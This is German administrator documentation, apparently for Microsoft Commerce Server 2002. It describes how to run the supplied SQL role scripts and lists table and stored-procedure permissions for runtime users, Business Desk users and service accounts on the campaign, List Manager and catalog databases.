Commerce Server enthält zwei Sicherheitsskripts, die Ihnen die Sicherung der Business Desk-Datenbank für Berechtigungen erleichtern: BDReaderRole.sql und BDWriterRole.sql. Diese Skripts befinden sich im Ordner Programme\Microsoft Commerce Server\Support.

Durch diese Skripts werden in der Business Desk-Datenbank für Berechtigungen zwei Rollen erstellt und den Tabellen und gespeicherten Prozeduren die erforderlichen Berechtigungen zugewiesen:

  • BDReaderRole: Weisen Sie dieser Rolle Laufzeitbenutzer zu.
  • BDWriterRole: Weisen Sie dieser Rolle Business Desk-Benutzer zu.

So erstellen Sie die Rollen "BDReaderRole" und "BDWriterRole"

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer im Dropdown-Listenfeld mit den Datenbanken die Business Desk-Datenbank für Berechtigungen aus.
  4. Klicken Sie auf Datei und anschließend auf Öffnen.
  5. Navigieren Sie zu den Skripts, die sich im Ordner Programme\Microsoft Commerce Server\Support befinden, und wählen Sie BDReaderRole aus.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die ausgewählte Datenbank auszuführen.
  7. Wiederholen Sie diese Schritte, um das Skript BDWriterRole auszuführen.
  8. Nachdem Sie die Rollen erstellt haben, weisen Sie das anonyme Laufzeitbenutzerkonto und das Business Desk-Gruppenkonto den entsprechenden Rollen zu. Weitere Anweisungen finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

Durch die Skripts werden für die folgenden Berechtigungstabellen und gespeicherten Prozeduren die Rollen erstellt und Berechtigungen vergeben.

Tabelle BDReaderRole
(Laufzeitbenutzer) 		BDWriterRole
(Business Desk-Benutzer)
BDSecurityDefinition
 Kein Zugriff SELECT
UPDATE
INSERT
DELETE
BDSecurityIdentifiers
 Kein Zugriff SELECT
UPDATE
INSERT
DELETE

In Berechtigungen gespeicherte Prozeduren

Durch die Business Desk-Sicherheitsskripts werden Berechtigungen für die folgenden gespeicherten Prozeduren vergeben.

Gespeicherte Prozedur BDReaderRole
(Laufzeitbenutzer) 		BDWriterRole
(Business Desk-Benutzer)
sp_AddAccount
 Kein Zugriff Ja
sp_AddSIDsToTempTable
 Kein Zugriff Ja
sp_GetAccounts
 Kein Zugriff Ja
sp_GetAccountsForRight
 Kein Zugriff Ja
sp_GetPermissions
 Kein Zugriff Ja
sp_GetUID
 Kein Zugriff Ja
sp_RemoveAccount
 Kein Zugriff Ja
sp_RemoveSecurityDefinitions
 Kein Zugriff Ja
sp_SetPermissions
 Kein Zugriff Ja


Sichern der Kampagnendatenbank

Es wird dringend empfohlen, für den Zugriff auf die Datenbanken Windows-Authentifizierung zu verwenden. Wenn Sie die Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung konfigurieren, müssen Sie Business Desk-Benutzern und Laufzeitbenutzern (die ein anonymes Domänenkonto verwenden) die entsprechenden Zugriffsberechtigungen auf die Datenbanken zuweisen.

Commerce Server enthält zwei Sicherheitsskripts, die Ihnen die Sicherung der Kampagnendatenbank erleichtern: CampaignReaderRole.sql und CampaignWriterRole.sql. Diese Skripts befinden sich im Ordner Programme\Microsoft Commerce Server\Support.

Durch diese Skripts werden in der Kampagnendatenbank zwei Rollen erstellt und den Tabellen und gespeicherten Prozeduren die erforderlichen Berechtigungen zugewiesen:

  • CampaignReaderRole: Weisen Sie dieser Rolle Laufzeitbenutzer zu.
  • CampaignWriterRole: Weisen Sie dieser Rolle Entwurfszeitbenutzer zu.

Wichtig

  • Business Desk-Benutzer müssen in der Kampagnendatenbank den Rollen CampaignWriterRole und db_datareader zugewiesen werden.
  • Damit Business Desk-Benutzer Kampagnenartikel löschen können, müssen sie in der Direct Mailer-Datenbank zu der öffentlichen Rolle gehören.

So erstellen Sie die Rollen "CampaignReaderRole" und "CampaignWriterRole"

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer im Dropdown-Listenfeld mit den Datenbanken die Kampagnendatenbank aus.
  4. Klicken Sie auf Datei und anschließend auf Öffnen.
  5. Navigieren Sie zu den Skripts, die sich im Ordner Programme\Microsoft Commerce Server\Support befinden, und wählen Sie CampaignReaderRole aus.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die ausgewählte Datenbank auszuführen.
  7. Wiederholen Sie diese Schritte, um das Skript CampaignWriterRole auszuführen.
  8. Nachdem Sie die Rollen erstellt haben, weisen Sie das anonyme Laufzeitbenutzerkonto und das Business Desk-Gruppenkonto den entsprechenden Rollen zu. Weitere Anweisungen finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

Durch die Skripts werden für die folgenden Kampagnentabellen und gespeicherten Prozeduren die Rollen erstellt und Berechtigungen vergeben.

Tabellenname CampaignReaderRole
(Laufzeitbenutzer) 		CampaignWriterRole
(Business Desk-Benutzer)
Ad_item
 SELECT SELECT
UPDATE
INSERT
Campaign
 SELECT SELECT
UPDATE
INSERT
Campaign_item
 SELECT SELECT
UPDATE
INSERT
Campaign_item_types
 SELECT SELECT
UPDATE
INSERT
Campaigns_version
 SELECT SELECT
Creative
 SELECT SELECT
UPDATE
INSERT
Creative_property
 SELECT SELECT
UPDATE
INSERT
Creative_property_value
 SELECT SELECT
UPDATE
INSERT
DELETE
Creative_size
 SELECT SELECT
UPDATE
INSERT
DELETE
Creative_type
 SELECT SELECT
Creative_type_xref
 SELECT SELECT
Customer
 SELECT SELECT
UPDATE
INSERT
Dm_item
 Kein Zugriff SELECT
UPDATE
INSERT
DELETE
Event_type
 SELECT SELECT
Industry_code
 SELECT SELECT
UPDATE
INSERT
DELETE
Order_discount
 SELECT SELECT
UPDATE
INSERT
Order_discount_expression
 SELECT SELECT
UPDATE
INSERT
DELETE
Order_discount_misc
 SELECT SELECT
UPDATE
INSERT
DELETE
Page_group
 SELECT SELECT
UPDATE
INSERT
DELETE
Page_group_xref
 SELECT SELECT
UPDATE
INSERT
DELETE
Performance_total
 SELECT
UPDATE
INSERT 		SELECT
Target
 SELECT SELECT
UPDATE
INSERT
DELETE
Target_group
 SELECT SELECT
UPDATE
INSERT
DELETE
Target_group_xref
 SELECT SELECT
UPDATE
INSERT
DELETE
Virtual_directory
 SELECT
UPDATE
INSERT 		SELECT
DELETE

In Kampagnen gespeicherte Prozeduren

Durch die Kampagnensicherheitsskripts werden Berechtigungen für die folgenden, nachfolgend aufgeführten gespeicherten Prozeduren vergeben.

In Kampagnen gespeicherte Prozeduren CampaignReaderRole
(Laufzeitbenutzer) 		CampaignWriterRole
(Business Desk-Benutzer)
sp_camp_item_archive
 Nein Ja
sp_clean_archived_campaigns
 Nein Ja
sp_clean_delete_campaign
 Nein Ja
sp_clean_delete_campitem
 Nein Ja
sp_clean_delete_customer
 Nein Ja
sp_cs_campitem_add
 Nein Ja
sp_cs_campitem_delete
 Nein Ja
sp_cs_campitem_update
 Nein Ja
sp_cs_mail_add
 Nein Ja
sp_cs_mail_delete
 Nein Ja
sp_cs_mail_schedid
 Nein Ja
sp_cs_mail_update
 Nein Ja
sp_DeleteCampaign
 Nein Ja
sp_DeleteCampaignItem
 Nein Ja
sp_DeleteCustomer
 Nein Ja
sp_dm_item_delete
 Nein Ja
sp_dm_item_edit
 Nein Ja
sp_dm_item_new
 Nein Ja
sp_GetCampItemGUID
 Nein Ja
sp_InsertAdItem
 Nein Ja
sp_InsertCampaign
 Nein Ja
sp_InsertCampaignItem
 Nein Ja
sp_InsertCPValue
 Nein Ja
sp_InsertCreative
 Nein Ja
sp_InsertCustomer
 Nein Ja
sp_InsertDiscount
 Nein Ja
sp_InsertDiscount2
 Nein Ja
sp_InsertDiscountMisc
 Nein Ja
sp_InsertPageGroup
 Nein Ja
sp_InsertPageGroupMain
 Nein Ja
sp_InsertTargetGroup
 Nein Ja
sp_InsertTargetGroupMain
 Nein Ja
sp_InsertTargetMain
 Nein Ja
sp_UndeleteCampaign
 Nein Ja
sp_UndeleteCampaignItem
 Nein Ja
sp_UndeleteCustomer
 Nein Ja
sp_update_performance_total
 Ja Ja
sp_update_vdir
 Ja Ja
sp_UpdateAdItem
 Nein Ja
sp_UpdateCampaign
 Nein Ja
sp_UpdateCampaignItem
 Nein Ja
sp_UpdateCreative
 Nein Ja
sp_UpdateCustomer
 Nein Ja
sp_UpdateDiscount
 Nein Ja
sp_UpdateDiscount2
 Nein Ja
sp_UpdateDiscountMisc
 Nein Ja
sp_UpdateTargetGroupMain
 Nein Ja
sp_UpdateTargetMain
 Nein Ja

Listen-Manager: Dynamische Datenbankobjekte

Durch den Listen-Manager-Dienst, der unter einem Dienstkonto ausgeführt wird, wird für jede importierte Liste eine neue Tabelle erstellt. So könnte von diesem Dienst beispielsweise die folgende Tabelle erstellt werden:

LM_MAILLIST_40FBCA60_ABE8_4392_BB0B_2B02BA95AE03

Wenn der Listen-Manager-Dienst zum ersten Mal aufgerufen wird, sucht er die entsprechende Datenbank mithilfe der Verbindungszeichenfolge und prüft, ob die Datenbank über die Listen-Manager-Tabellen verfügt. Wenn dies nicht der Fall ist, werden die beiden folgenden Tabellen erstellt.

lm_master
lm_master_operations

Wenn der Direct Mailer-Auftrag ausgeführt wird und den Listen-Manager-Dienst aufruft, erstellt der Listen-Manager auch Tabellen in der Direct Mailer-Datenbank.

In der folgenden Tabelle sind die für den Listen-Manager, den Vorhersagedienst (Commerce Server 2002 Enterprise Edition), Business Desk- und die Laufzeitbenutzer erforderlichen Berechtigungen aufgeführt.

Tabellenname | Laufzeitbenutzer | Business Desk-Benutzer | Listen-Manager-Dienstkonto | Vorhersagedienstkonto
Kampagnendatenbank Informationen zu den Sicherheitsanforderungen finden Sie in den Kampagnentabellen. Informationen zu den Sicherheitsanforderungen finden Sie in den Kampagnentabellen. db_owner db_ddladmin
db_datawriter
db_datareader
Direct Mailer-Datenbank | Informationen zu den Sicherheitsanforderungen finden Sie unter Sichern der Direct Mailer-Datenbank | Informationen zu den Sicherheitsanforderungen finden Sie unter Sichern der Direct Mailer-Datenbank | db_owner | Kein Zugriff
lm_master
 Nein Nein SELECT
UPDATE
INSERT
DELETE 		SELECT
UPDATE
INSERT
DELETE
lm_master_operations
 Nein Nein SELECT
UPDATE
INSERT
DELETE 		SELECT
UPDATE
INSERT
DELETE
LM_MAILLIST_GUID
 Nein Nein SELECT
UPDATE
INSERT
DELETE 		SELECT
UPDATE
INSERT
DELETE

Im Listen-Manager gespeicherte Prozeduren

Gespeicherte Prozedur Laufzeitbenutzer Business Desk-Benutzer ListManager-Dienstkonto
sp_lm_CheckLMStore
 Nein Nein Ja
sp_lm_DeleteListAndData
 Nein Nein Ja
sp_lm_GetSchema
 Nein Nein Ja
sp_lm_LoadAllLists
 Nein Nein Ja
sp_lm_LoadAllOperations
 Nein Nein Ja
sp_lm_LoadListById
 Nein Nein Ja
sp_lm_LoadListByName
 Nein Nein Ja
sp_lm_LoadOperationInfo
 Nein Nein Ja
sp_lm_SaveListDetails
 Nein Nein Ja
sp_lm_SaveOperationDetails
 Nein Nein Ja
sp_lm_SetListCreationTime
 Nein Nein Ja
sp_lm_SetOpCompletionTime
 Nein Nein Ja
sp_lm_UpdateListRecentOperLid
 Nein Nein Ja
sp_lm_UpdateListStatus
 Nein Nein Ja
sp_lm_UpdateOperStatus
 Nein Nein Ja

Wenn Sie das Konto für den Listen-Manager nach der Erstellung dieser Tabellen und gespeicherten Prozeduren ändern, müssen Sie daran denken, die entsprechenden Berechtigungen für das neue Konto zu vergeben.

Siehe auch

Listen-Manager-Dienstkonto


Sichern der Produktkatalogdatenbank

Es wird dringend empfohlen, für den Zugriff auf die Datenbanken Windows-Authentifizierung zu verwenden. Wenn Sie die Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung konfigurieren, müssen Sie Business Desk-Benutzern und Laufzeitbenutzern (die ein anonymes Domänenkonto verwenden) die entsprechenden Zugriffsberechtigungen auf die Datenbanken zuweisen.

In diesem Thema wird erläutert, welche Berechtigungen die Business Desk-Benutzer und Laufzeitbenutzer für den Zugriff auf die Katalogdatenbank benötigen.

Business Desk-Benutzer

Damit Business Desk-Benutzer Kataloge bearbeiten können (beispielsweise die Katalogdefinitionen bearbeiten, den Katalog neu erstellen, den Volltextindex aktualisieren und den Katalog veröffentlichen), müssen Sie sie der Rolle db_owner zuweisen.

Prüfen Sie sorgfältig die Vertrauenswürdigkeit des betreffenden Business Desk-Benutzers, den Sie der Rolle db_owner zuweisen. Wenn Sie einen Business Desk-Benutzer dieser Rolle zuweisen, müssen Sie das folgende Sicherheitsrisiko einkalkulieren:

Wichtig

  • Ein Business Desk-Benutzer, der der Rolle db_owner zugewiesen ist, könnte potentiell eine Datenbank löschen. Zur Eindämmung dieses Risikos müssen Sie eine Firewall einrichten, um eine direkte Verbindung vom Business Desk-Client zu der SQL Server-Datenbank, die die Kataloge enthält, zu verhindern. Dies ist die empfohlene, sichere Konfiguration. Detaillierte Anweisungen finden Sie unter Bereitstellen einer sicheren Site.

Wenn Sie zum Austauschen von Katalogen mit Handelspartnern mit BizTalk Server arbeiten, benötigt die CatalogToVendorAssociation.GetVendorList()-API Zugriff auf die BizTalk Messaging-Verwaltungsdatenbank (InterchangeBTM). In der Datenbank InterchangeBTM müssen Sie eine Ausführungsberechtigung für die gespeicherte Prozedur btsint_organizations_selectvalidvendors vergeben. Ohne diese Berechtigung schlägt die API CatalogToVendorAssociation.GetVendorList() fehl.

Laufzeitbenutzer

Um Laufzeitbenutzern, die die Website besuchen, die entsprechenden Zugriffsrechte auf die Kataloge zuzuweisen, führen Sie das Skript CatalogSecurityRoles.sql aus.

Das Skript CatalogSecurityRoles.sql befindet sich im Ordner Programme\Microsoft Commerce Server 2002\Support. Dieses Skript erstellt die Rolle ctlg_CatalogReaderRole und fügt diese der Rolle db_datareader hinzu.

An die Rolle ctlg_CatalogReaderRole werden Select-Berechtigungen für Katalogtabellen und -sichten und Exec-Berechtigungen für gespeicherte Laufzeitprozeduren vergeben. Diese Berechtigungen werden von Benutzern, die Ihre Website besuchen, benötigt.

Führen Sie das Skript CatalogSecurityRoles.sql aus, nachdem Sie eine der folgenden Vorgänge ausgeführt haben:

  • Erstellen neuer Kataloge
  • Hinzufügen von Sprachen zu einem Katalog
  • Neuerstellen von virtuellen Katalogen

Die Katalogsichten werden nach der Erstellung eines Katalogs angelegt, und sie sind sprachspezifisch. Nach der Durchführung einer dieser Vorgänge und der Ausführung des Skripts CatalogSecurityRoles.sql verfügen die Websitebenutzer über die entsprechenden Auswahlberechtigungen für die neuen Katalogsichten.

Hinweise

  • Mitglieder der Rolle ctlg_CatalogReaderRole müssen für die Datenbank MSCS_CatalogScratch über db_owner-Berechtigungen verfügen. Bei der Datenbank MSCS_CatalogScratch handelt es sich um eine temporäre Datenbank ohne dauerhafte Daten. Aus diesem Grunde stellt sie kein Sicherheitsproblem dar. Wenn Besucher ohne Zugangsberechtigung zur Datenbank MSCS_CatalogScratch Ihre Site besuchen, können diese den Produktkatalog nicht durchsuchen.
  • Mitglieder der Rolle ctlg_CatalogReaderRole müssen für die Verwaltungsdatenbank über db_reader-Berechtigungen verfügen. Diese Berechtigungen sind erforderlich, damit sie die Verbindungszeichenfolge für die Produktkatalogdatenbank abrufen und die Kataloge anzeigen lassen können.
  • Wenn Sie für Links zu externen Tabellen mit Verbindungsschlüsseln arbeiten, müssen Sie auch für diese Tabellen an die Mitglieder der Rolle ctlg_CatalogReaderRole Auswahlberechtigungen vergeben.

So erstellen Sie die Rolle "ctlg_CatalogReaderRole"

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer im Dropdown-Listenfeld mit den Datenbanken die Katalogdatenbank aus.
  4. Klicken Sie auf Datei und anschließend auf Öffnen.
  5. Navigieren Sie zu den Skripts, die sich im Ordner Programme\Microsoft Commerce Server\Support befinden, und wählen Sie ctlg_CatalogReaderRole aus.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die Katalogdatenbank auszuführen.

    Die Rolle ctlg_CatalogReaderRole wird in der Katalogdatenbank erstellt, und sie wird der Rolle datareader hinzugefügt.

  7. Nach der Erstellung der Rolle weisen sie dieser das anonyme Laufzeitbenutzerkonto zu. Weitere Anweisungen finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

Tabellen für globale Kataloge

Durch das Skript CatalogSecurityRoles.sql wird für die folgenden Produktkatalogtabellen ein Zugriff mit Auswahlberechtigung auf die Rolle ctlg_CatalogReaderRole gewährt:

Tabellenname ctlg_CatalogReaderRole
(Laufzeitbenutzer)
CatalogAttributes
 SELECT
CatalogDefinitions
 SELECT
CatalogDefinitionProperties
 SELECT
CatalogenumValues
 SELECT
CatalogGlobal
 SELECT
CatalogLanguage
 SELECT
CatalogLanguageMap
 Kein Zugriff
CatalogSchemaVersion
 SELECT
CatalogSet_Catalogs
 SELECT
CatalogSet_Info
 SELECT
CatalogStatus
 SELECT
CatalogToVendorAssociation
 SELECT
CatalogUsedDefinitions
 SELECT

Tabellen für Basiskataloge

In den folgenden Tabellen sind die Basiskatalogtabellen für die einzelnen Basiskataloge aufgeführt.

Für jeden Basiskatalog

Tabellenname ctlg_CatalogReaderRole
(Laufzeitbenutzer)
Katalogname_CatalogDeletedProducts
 Kein Zugriff
Katalogname_CatalogDependentCatalogs
 SELECT
Katalogname_CatalogHierarchy
 SELECT
Katalogname_CatalogProducts
 SELECT
Katalogname_CatalogRelationships
 SELECT

Für jede Sprache im Katalog

Tabellenname ctlg_CatalogReaderRole
(Laufzeitbenutzer)
Katalogname_SPRACHE_Catalog
 SELECT

Tabellen für virtuelle Kataloge

In den folgenden Tabellen sind die Basiskatalogtabellen für die einzelnen Basiskataloge aufgeführt.

Für jeden virtuellen Katalog

Tabellenname ctlg_CatalogReaderRole
(Laufzeitbenutzer)
Name des virtuellen Katalogs_CatalogDeletedProducts
 Kein Zugriff
Name des virtuellen Katalogs_CatalogHierarchy
 SELECT
Name des virtuellen Katalogs_CatalogIncludedProductsAndCategories
 Kein Zugriff
Name des virtuellen Katalogs_CatalogPricingRules
 Kein Zugriff
Name des virtuellen Katalogs_CatalogProducts
 SELECT
Name des virtuellen Katalogs_CatalogRelationships
 SELECT
Name des virtuellen Katalogs_CatalogVirtualProducts
 SELECT

Für jede Sprache im Katalog

Tabellenname ctlg_CatalogReaderRole
(Laufzeitbenutzer)
Name des virtuellen Katalogs_SPRACHE_Catalog
 SELECT

Katalogsichten

Für den globalen Katalog

Sicht ctlg_CatalogReaderRole
(Laufzeitbenutzer)
CatalogGlobal_LNG_NEUTRAL
 SELECT

Für jede Sprache im Produktkatalogsystem

Sicht ctlg_CatalogReaderRole
(Laufzeitbenutzer)
CatalogGlobal_SPRACHE
 SELECT

Für jeden Katalog

Sicht ctlg_CatalogReaderRole
(Laufzeitbenutzer)
Katalogname_ClassTypes
 SELECT
Katalogname_LNG_NEUTRAL
 SELECT

Für jeden Katalog

Sicht ctlg_CatalogReaderRole
(Laufzeitbenutzer)
Katalogname_SPRACHE_RelationsView
 SELECT
Katalogname_SPRACHE
 SELECT

In Katalogen gespeicherte Prozeduren

Durch das Skript CatalogSecurityRoles.sql wird der entsprechende Zugriff auf die folgenden gespeicherten Prozeduren gewährt. Außerdem ist der Zugang aufgeführt, über den das Entwurfszeitbenutzerkonto verfügen sollte.

In Katalogen gespeicherte Prozeduren ctlg_CatalogReaderRole
(Laufzeitbenutzer) 		Business Desk-Benutzer
ctlg_AddAttributeToCatalog
 Kein Zugriff Ja
ctlg_AddCatalogDefinitionProperty
 Kein Zugriff Ja
ctlg_AddCatalogLanguage
 Kein Zugriff Ja
ctlg_AddCatalogLanguageMap
 Kein Zugriff Ja
ctlg_AddChildCategoryToCategory
 Kein Zugriff Ja
ctlg_AddColumnsToCatalog
 Kein Zugriff Ja
ctlg_AddColumnsToRelationships
 Kein Zugriff Ja
ctlg_AddDefaultToProperty
 Kein Zugriff Ja
ctlg_AddDisplayNameToCatalog
 Kein Zugriff Ja
ctlg_AddDisplayNameToProperty
 Kein Zugriff Ja
ctlg_AddFullTextCatalogForLanguage
 Kein Zugriff Ja
ctlg_AddParentCategoryToCategory
 Kein Zugriff Ja
ctlg_AddPricingCategory
 Kein Zugriff Ja
ctlg_AddProductToCategory
 Kein Zugriff Ja
ctlg_AddPropertyAttribute
 Kein Zugriff Ja
ctlg_AddPropertyForCSVImport
 Kein Zugriff Ja
ctlg_AddPropertyToDefinition
 Kein Zugriff Ja
ctlg_AddPropertyValue
 Kein Zugriff Ja
ctlg_AddRelationshipToCategory
 Kein Zugriff Ja
ctlg_AddRelationshipToProduct
 Kein Zugriff Ja
ctlg_AlterClassTypesToProduct
 Kein Zugriff Ja
ctlg_AlterClassTypesToProductFamily
 Kein Zugriff Ja
ctlg_AlterColumnInTable
 Kein Zugriff Ja
ctlg_AlterFullTextColumns
 Kein Zugriff Ja
ctlg_AlterPropertyInFullTextCatalogs
 Kein Zugriff Ja
ctlg_AlterPropertyLength
 Kein Zugriff Ja
ctlg_CheckCatalog
 Ja Ja
ctlg_CompleteCatalogImport
 Kein Zugriff Ja
ctlg_CreateCatalogClassTypesView
 Kein Zugriff Ja
ctlg_CreateCatalogLanguageView
 Kein Zugriff Ja
ctlg_CreateCatalogLanguageView
 Kein Zugriff Ja
ctlg_CreateCatalogProcedures
 Kein Zugriff Ja
ctlg_CreateCatalogSystem_LanguageView
 Kein Zugriff Ja
ctlg_CreateCatalogSystem_LanguageView
 Kein Zugriff Ja
ctlg_CreateCategory
 Kein Zugriff Ja
ctlg_CreateCategoryDefinition
 Kein Zugriff Ja
ctlg_CreateFullTextCatalog
 Kein Zugriff Ja
ctlg_CreateProduct
 Kein Zugriff Ja
ctlg_CreateProductDefinition
 Kein Zugriff Ja
ctlg_CreateProductVariant
 Kein Zugriff Ja
ctlg_CreateProperty
 Kein Zugriff Ja
ctlg_CreateTriggers
 Kein Zugriff Ja
ctlg_DeleteCatalog
 Kein Zugriff Ja
ctlg_DeleteCatalogDefinition
 Kein Zugriff Ja
ctlg_DeleteImportProduct
 Kein Zugriff Ja
ctlg_DeleteProductsFromDeletedTable
 Kein Zugriff Ja
ctlg_DeleteProperty
 Kein Zugriff Ja
ctlg_DeleteVariant
 Kein Zugriff Ja
ctlg_DropCatalogLanguageView
 Kein Zugriff Ja
ctlg_DropCatalogObjectFromDatabase
 Kein Zugriff Ja
ctlg_DropCatalogProcedures
 Kein Zugriff Ja
ctlg_DropCatalogProceduresAndViews
 Kein Zugriff Ja
ctlg_DropFullTextCatalog
 Kein Zugriff Ja
ctlg_DropViewOnCatalogGlobal
 Kein Zugriff Ja
ctlg_EnsurePropTableMapExists
 Ja Ja
ctlg_GetBaseCatalogName
 Ja Ja
ctlg_GetCatalogDefinitionProperties
 Ja Ja
ctlg_GetCatalogGlobalProperties
 Ja Ja
ctlg_GetCatalogLanguages
 Ja Ja
ctlg_GetCatalogLanguagesForExport
 Ja Ja
ctlg_GetCatalogProperties
 Ja Ja
ctlg_GetCatalogPropertiesForExport
 Ja Ja
ctlg_GetCatalogPropertiesForUpdate
 Kein Zugriff Ja
ctlg_GetCatalogRelationships
 Ja Ja
ctlg_GetCatalogType
 Ja Kein Zugriff
ctlg_GetCatalogs
 Ja Ja
ctlg_GetCatalogsInCatalogSet
 Ja Ja
ctlg_GetCategoryOID
 Ja Ja
ctlg_GetCategoryProperties
 Ja Ja
ctlg_GetDefinedCatalogAttributes
 Ja Ja
ctlg_GetDefinedPropertyAttributes
 Ja Ja
ctlg_GetDefinitionProperties
 Ja Ja
ctlg_GetDefinitions
 Ja Ja
ctlg_GetDefnPropertiesForCatalogImport
 Kein Zugriff Ja
ctlg_GetDefnPropertiesForCSVImport
 Kein Zugriff Ja
ctlg_GetDeletedProducts
 Kein Zugriff Ja
ctlg_GetDistinctPropertiesIncatalog
 Kein Zugriff Ja
ctlg_GetFTSColumnLCID
 Kein Zugriff Ja
ctlg_GetFTSQuery
 Ja Ja
ctlg_gethierarchy
 Kein Zugriff Ja
ctlg_gethierarchy2
 Kein Zugriff Ja
ctlg_GetHierarchy_For_VC
 Kein Zugriff Ja
ctlg_GetJoinType
 Ja Ja
ctlg_GetParentCategories
 Ja Ja
ctlg_GetPricingCategory
 Ja Ja
ctlg_GetPricingCategoryOIDs
 Ja Ja
ctlg_GetPrimaryParentCategory
 Ja Ja
ctlg_GetProductCategory_UniqueID
 Ja Ja
ctlg_GetProductOID
 Ja Ja
ctlg_GetProductOIDAndType
 Ja Ja
ctlg_GetProductProperties
 Ja Ja
ctlg_GetProductsForExport
 Kein Zugriff Ja
ctlg_GetProductVariantProperties
 Ja Ja
ctlg_GetProperties
 Ja Ja
ctlg_GetPropertiesForCatalog
 Kein Zugriff Ja
ctlg_GetPropertiesInCatalog
 Ja Ja
ctlg_GetPropertiesInDefinitions
 Kein Zugriff Ja
ctlg_GetPropertiesUsedInCatalogs
 Ja Ja
ctlg_GetPropertyAttributes
 Ja Ja
ctlg_GetPropertyAttributesForDefinition
 Ja Ja
ctlg_GetPropertyValues
 Ja Ja
ctlg_GetRelationships_For_VC
 Ja Ja
ctlg_GetResults
 Ja Ja
ctlg_GetSearchableCategories
 Ja Ja
ctlg_GetSmallestFulltextcatalog
 Kein Zugriff Ja
ctlg_GetSourceCatalogsForExport
 Kein Zugriff Ja
ctlg_GetSpecsearchableProps
 Ja Ja
ctlg_GetSQLQuery
 Ja Ja
ctlg_GetValidLanguage
 Ja Ja
ctlg_ImportRelationship
 Kein Zugriff Ja
ctlg_InsertCatalogGlobal
 Kein Zugriff Ja
ctlg_InsertCatalogsBeingExportedOrImported
 Kein Zugriff Ja
ctlg_InsertCatalogStatus
 Kein Zugriff Ja
ctlg_InsertCSVCatalog
 Kein Zugriff Ja
ctlg_InsertDefinition
 Kein Zugriff Ja
ctlg_InsertDefinitionProperties
 Kein Zugriff Ja
ctlg_InsertEnumValues
 Kein Zugriff Ja
ctlg_InsertHierarchy
 Kein Zugriff Ja
ctlg_InsertHierarchy2
 Kein Zugriff Ja
ctlg_InsertUsedDefinition
 Kein Zugriff Ja
ctlg_IsCatalogPropertyRemovable
 Kein Zugriff Ja
ctlg_IsCatalogValidForFTSearch
 Ja Ja
ctlg_IsCategorySpecSearchable
 Ja Ja
ctlg_IsDefinitionPresent
 Kein Zugriff Ja
ctlg_IsDefinitionPropPresent
 Kein Zugriff Ja
ctlg_IsDefinitionUsedInCatalog
 Kein Zugriff Ja
ctlg_IsEnumPresent
 Ja Ja
ctlg_IsProductvalid
 Ja Ja
ctlg_IsPropertyPresentInDefinition
 Kein Zugriff Ja
ctlg_JoinQueryWithTable
 Ja Ja
ctlg_PersistTT_EnsureExists
 Ja Ja
ctlg_PersistTT_GetName
 Ja Ja
ctlg_PersistTT_Purge
 Ja Ja
ctlg_PersistTT_PurgeTablesUsingProperty
 Kein Zugriff Ja
ctlg_PurgeCatalog
 Kein Zugriff Ja
ctlg_RecordCatalogExport
 Kein Zugriff Ja
ctlg_RemoveAllCatalogLanguages
 Kein Zugriff Ja
ctlg_RemoveCatalogAttribute
 Kein Zugriff Ja
ctlg_RemoveCatalogLanguage
 Kein Zugriff Ja
ctlg_RemoveChildCategoryForCategory
 Kein Zugriff Ja
ctlg_RemoveColumnsFromRelationships
 Kein Zugriff Ja
ctlg_RemoveDefinitionFromCatalog
 Kein Zugriff Ja
ctlg_RemoveFullTextCatalogForLanguage
 Kein Zugriff Ja
ctlg_RemoveParentCategoryForCategory
 Kein Zugriff Ja
ctlg_RemoveProductFromCategory
 Kein Zugriff Ja
ctlg_RemovePropertyAttribute
 Kein Zugriff Ja
ctlg_RemovePropertyFromDefinition
 Kein Zugriff Ja
ctlg_RemovePropertyValue
 Kein Zugriff Ja
ctlg_RemoveRelationship
 Kein Zugriff Ja
ctlg_RenameCatalogDefinition
 Kein Zugriff Ja
ctlg_RenameCatalogProperty
 Kein Zugriff Ja
ctlg_SetPricingCategory
 Kein Zugriff Ja
ctlg_SetPrimaryParentCategory
 Kein Zugriff Ja
ctlg_TableExistsInFullTextCatalog
 Kein Zugriff Ja
ctlg_UpdateCategoryDisplayNames
 Kein Zugriff Ja
ctlg_UpdateCategoryRelationships
 Kein Zugriff Ja
ctlg_UpdateParentOids
 Kein Zugriff Ja
ctlg_UpdateProductRelationships
 Kein Zugriff Ja
ctlg_ValidateCatalogForCSVImport
 Kein Zugriff Ja
ctlg_ValidateJoinTableInfo
 Ja Ja
ctlg_VC_AddHierarchy
 Kein Zugriff Ja
ctlg_VC_AddPriceRule
 Kein Zugriff Ja
ctlg_VC_AddVCRule
 Kein Zugriff Ja
ctlg_VC_ApplyCatalogLevelPriceRule
 Kein Zugriff Ja
ctlg_VC_ApplyPriceRule
 Kein Zugriff Ja
ctlg_VC_ApplyPriceRuleToDescendents
 Kein Zugriff Ja
ctlg_VC_BC_GetDependentCatalogs
 Kein Zugriff Ja
ctlg_VC_DoesPriceRuleExist
 Kein Zugriff Ja
ctlg_VC_DoesProdOrCategExist
 Kein Zugriff Ja
ctlg_VC_DoesVCRuleExist
 Kein Zugriff Ja
